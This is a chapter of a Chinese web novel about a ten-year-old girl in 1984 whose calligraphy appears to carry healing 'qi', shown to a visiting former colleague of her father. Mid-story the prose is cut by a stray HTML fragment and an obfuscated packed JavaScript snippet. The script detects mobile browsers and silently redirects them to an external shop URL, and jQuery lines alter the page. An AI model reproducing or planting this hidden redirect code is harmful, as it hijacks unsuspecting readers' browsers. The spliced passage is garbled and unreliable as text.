一九八四年秋天，张清十岁。
厂区的生活没什么变化。夏天热得像蒸笼，冬天冷得刺骨，车间汽笛每天响三遍。父亲还是每天出门前把墨磨好，笔摆好，纸裁好。母亲还是每天骑着自行车去卫生院，晚上带着一身消毒水味回来。
但张清变了。不是外表，她还是瘦，还是穿那件洗得发白的蓝布褂子。变的是眼睛。她的眼睛比以前亮了，是沉静的、内敛的亮。
周伯年说："你的'意'在走。"
张清不太懂什么叫"走"。但她能感觉到，每次拿起笔的时候，指尖有一种微弱的温热，不是体温，是从里面流出来的东西。
她现在不怎么画符了。周伯年说："符是术，不是道。你要先学会'写'。"
所以她每天写字。五十个"永"字，雷打不动。
和两年前不一样了。她写字的时候喜欢把窗户打开，是为了听声音。风从窗口吹进来，吹得桌上的纸"沙沙"响。她就在那种声音里落笔。以前写字是机械的，横、竖、撇、捺，一笔一画。现在写字是有生命的。她能感觉到每一笔的"气"在流动。横的时候气往右走，竖的时候气往下沉，撇的时候气往外散，捺的时候气往回收。
写完了，纸上的字像是活的。有一股"气"在里面，微弱的、温热的、安静的。
周伯年看了，摘下老花镜，用衣角擦了擦镜片。"差不多了。"
"什么差不多了？"
"可以见人了。"
那天下午，张清正在院子里写作业。十岁的她已经上四年级了，成绩还是第一名，但老师不怎么表扬她。她从来不举手回答问题，也不跟同学玩，总是一个人坐在角落里看书。
院子里的石榴树结果了，红色的石榴挂在枝头，沉甸甸的。秋天的阳光暖暖的，照在身上舒服。
张清正在写数学作业，听见门口有人说话。是父亲的声音。
"是啊，好久不见了。来来来，进来坐。"
父亲领着一个中年男人走进来。男人四十多岁，微胖，穿一件灰色中山装，手里拎着一个布包。头发梳得整齐，脸上带着笑。
"这是你王叔。"父亲说。"从山那边来的。以前跟我一个厂的。"
"王叔好。"张清站起来叫了一声。
"哎，好，好。"王先生打量着张清。"这就是你家小清？长这么大了？"
"十岁了。你坐。素云，倒茶。"
母亲从屋里出来，端了两杯茶。进屋前换了一件干净的外罩，头发也拢了拢。
王先生接过茶，坐下。眼睛在院子里转了一圈，看了看石榴树，看了看晾衣绳上的工作服，最后落在石桌上摊着的那本旧字帖上。停了两秒，收回了视线。
然后和父亲聊起来。聊的是厂里的事，谁升了科长，谁调走了，哪条生产线要检修。都是大人的事。
但张清注意到一个细节。王先生的视线时不时往她身上飘，是在观察。而且他看的，是她的手。
张清低头看自己的手。右手食指和中指指腹有一层薄茧，那是常年握笔磨出来的。左手没有。
她明白了。这个人，是来看她的。
聊了一会儿，王先生问："小清，听说你在学写字？"
"嗯。"张清说。
"跟谁学的？"
"我爸。还有周老师。"
"周老师？"王先生看了父亲一眼。"就是那个退休的小学教师？"
"嗯。"
"写了多久了？"
"从小写的。"张清说。"我爸让我从八岁开始写。"
王先生点了点头。"能让我看看吗？"
张清看了父亲一眼。父亲背着手站在门口，没说话。
"行。"张清说。
她站起来，走进屋里，从书桌上拿了毛边纸、兼毫笔、一方砚台。出来，放在石桌上。
磨墨。墨锭在砚台上画圆圈，力度均匀，速度不急不缓。墨色如漆，不浓不滞。
她把笔泡了一下，让笔毫完全润开。然后落笔。
她没有写"永"字。她写了一个"定"字。
横、竖、撇、捺、点。
每一笔都很慢。是故意慢的。她要把每一笔的"意"写进去。
王先生看着。
张清的手很稳。笔锋落在纸上，每一笔都走得很慢，但不是犹豫，是在控制什么。她的呼吸也很慢，吸一口气，写两笔；呼一口气，写两笔。
写完了。把笔放下。
"写好了。"
王先生凑过去看。毛边纸上，一个"定"字，不大不小，端正平稳。横画平稳，竖画挺直，撇捺舒展，最后一点是从天上落下来，稳稳地停在字心。
"写得不错。基本功很扎实。"他伸手拿起了那张纸。
张清注意到，王先生拿纸的时候手抖了一下。
他把纸举到眼前看了一会儿，又放在鼻子下面闻了闻。松烟墨的清苦气味飘过来。
"好墨。两毛钱一锭的？"
"嗯。"
"两毛钱的墨，能写出这种字？"
张清没说话。
王先生把纸放下来。"小清，你能不能坐下来，再写一个？"
"写什么？"
"随便。"
张清坐下来，又拿了一张纸。这次她写的是"安"字。
宝盖头，下面一个"女"。
她写得更慢了。"定"字带着一股往下压的力量，要把什么东西按住。"安"字不一样。它是柔的，是松的，是有人轻轻拍着你的背，告诉你没事了。
写"安"字的时候，心里想的是，安宁。安静。平安。
写完了。
王先生看着那个"安"字，没说话。看了很久。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809185|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
院子里的石榴树影子在地上慢慢移动。太阳偏西了，光线从金黄变成橘红，照在石桌上，照在那张毛边纸上。
王先生觉得胸口有什么东西松了。是更深处的，他自己都没察觉的什么地方，松了。那个东西已经堵了他很久。
过了几秒，他叹了口气。
"好字。"他说。声音有点哑。"真的是好字。"
张清看着他。她发现王先生的眼睛红了。
那天晚上，父亲送王先生出去。张清在屋里收拾书桌，听见院子里父亲和王先生说话的声音。
"老张，你家小清不简单啊。"
"小孩子瞎写。"
"不是瞎写。我练过气功，懂'气'。她写的字有'气'。那种气是真的。我刚才坐在那里，看着那个'安'字，觉得心里很安宁。这么多年了，我第一次觉得心里这么安宁。"
父亲没说话。
"老张，你跟我说实话，你家小清跟谁学的？"
"周老师。"
"周老师？你别糊弄我。周老师教的是语文，不是这个。"
"你不信就算了。"
"我信。"王先生说。"我太信了。"
他停了一下。"老张，我跟你说个事。我这些年一直失眠，每天只能睡两三个小时，吃药都没用。但刚才，我坐在那里看你女儿写字，觉得困了。是那种安心的困。我已经三年没有这种感觉了。"
父亲沉默了一会儿。"你早点回去休息吧。"
"好。"王先生说。"改天我再来。"
脚步声渐渐远了。张清坐在书桌前，看着窗外。月亮出来了，月光照在石榴树上，影子在地上摇晃。
父亲走进屋。
"爸。"
"嗯。"
"那个人，是谁？"
父亲点了根烟。"以前厂里的同事。后来调到山那边去了。"
"他为什么来看我？"
"不知道。也许是听说了什么。"
张清没再问。她知道父亲不想说。
第二天早上，张清起床的时候，发现桌上多了一样东西。一盒墨。是那种很贵的油烟墨，黑得发亮，带着一股清香。
她拿起墨锭看了看。下面刻着两个字："徽墨"。
她知道这种墨。供销社卖过，一块钱一锭。父亲从来不买。
走出门，父亲正在院子里刷牙。
"爸。"
"嗯。"
"那个墨——"
"你王叔送的。"父亲说，没回头。
张清看着父亲的背影。父亲背着手站在门口，望着远处的山。
她知道，从今天开始，事情会不一样了。
名声这种东西，一旦传出去，就收不回来了。张清才十岁，还不太懂这意味着什么。但她隐约感觉到，来找她的人会越来越多。